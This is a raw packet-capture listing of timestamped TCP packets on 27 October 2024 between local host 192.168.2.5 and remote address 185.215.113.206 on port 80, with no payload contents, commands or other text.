Oct 27, 2024 07:59:15.860214949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860307932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860320091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860325098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860327005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860342026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860358953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860377073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860388041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860393047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860405922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860409975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860425949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860441923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860457897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860472918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860480070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860493898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860507011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860532045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860712051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860728979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860745907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860771894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860789061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860789061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860797882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860806942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860831976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860877037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860893965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860909939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860928059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860933065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860933065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860944986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860960960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860977888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860991001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.861016035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.861016035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.861016035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.861098051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.902874947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.902895927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.902913094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.902929068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.902945042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.902955055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.902962923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.902978897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.903053045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.903086901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.976666927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.976701021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.976716995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.976732016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.976747036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.976753950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.976763964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.976779938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.976794958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.976820946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.976821899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.976860046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.976897955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.976919889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.976933956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.976941109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.976950884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.976967096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.976983070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977006912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977021933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977050066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977065086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977083921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977097988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977108002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977108002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977108002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977108002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977113962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977128983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977142096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977145910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977165937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977179050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977224112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977253914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977267981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977282047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977298021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977309942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977324009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977338076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977366924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977370977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977371931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977371931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977371931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977382898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977385998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977400064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977411985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977412939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977441072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977444887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977457047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977473021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977488041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977503061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977555037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977555037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977555037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977555037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977580070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977602005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977618933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977632999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977644920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977644920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977648973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977673054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977677107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977699041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977716923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977732897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977734089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977751017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977840900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977840900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977840900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977840900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977857113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977871895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977893114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977920055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977937937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977937937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.977947950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977963924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977977991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.977993965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.978010893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.978019953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.978019953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.978019953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.978063107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.978112936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.978128910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.025479078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.030905962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.312577009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.312594891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.312612057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.312628984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.312654972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.312664986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.312680960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.312711000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.312726021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.312726974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.312756062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.312769890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.312783003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.312841892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.312844992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.312859058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.312870979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.312870979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.312879086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.312884092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313015938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313019991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313035965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313050985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313066959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313127995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313141108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313158035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313185930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313199043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313225985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313241959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313256979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313271999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313283920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313312054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313328028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313344955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313344955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313344955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313344955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313359022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313364029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313374996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313380957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313402891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313404083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313404083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313404083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313419104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313419104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313431025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313447952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313462973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313477039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313551903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313560009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313560009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313568115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313592911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313596010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313611031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313615084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313626051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313644886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313668966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313673019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313679934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313688993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313720942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313745975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313750029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313750029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313762903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313777924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313792944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313808918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313824892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313853979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313865900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313872099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313879967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313879967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313896894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313911915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313939095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313939095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313950062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313965082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313977957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.313992977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313992977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.313997030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.314012051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.314064980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.314076900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.314076900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.314080000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.314096928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.314116955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.314130068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.314131975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.314146996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.314172983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.314202070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431015968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431112051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431126118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431140900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431157112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431180000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431190968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431201935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431209087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431209087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431217909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431233883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431247950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431262016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431277990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431282043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431282043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431301117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431332111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431343079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431343079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431353092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431369066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431400061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431400061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431416988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431421995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431437969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431468010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431480885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431495905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431514025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431514025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431519985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431540966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431598902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431597948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431612968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431627035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431642056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431642056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431642056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431642056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431660891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431698084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431713104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431713104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431726933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431741953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431776047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431823969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431829929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431833982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431843042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431844950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431844950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431876898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431890965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.431919098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431935072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431948900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431962967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.431979895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.432009935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.432009935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.432055950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.432055950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.432070017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.432106018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.432136059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.432140112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.432154894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.432168961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.432199955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.432202101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.432202101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.432216883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.432231903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.432245970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.432261944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.432276964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.432291985 CET	80	49704	185.215.113.206	192.168.2.5
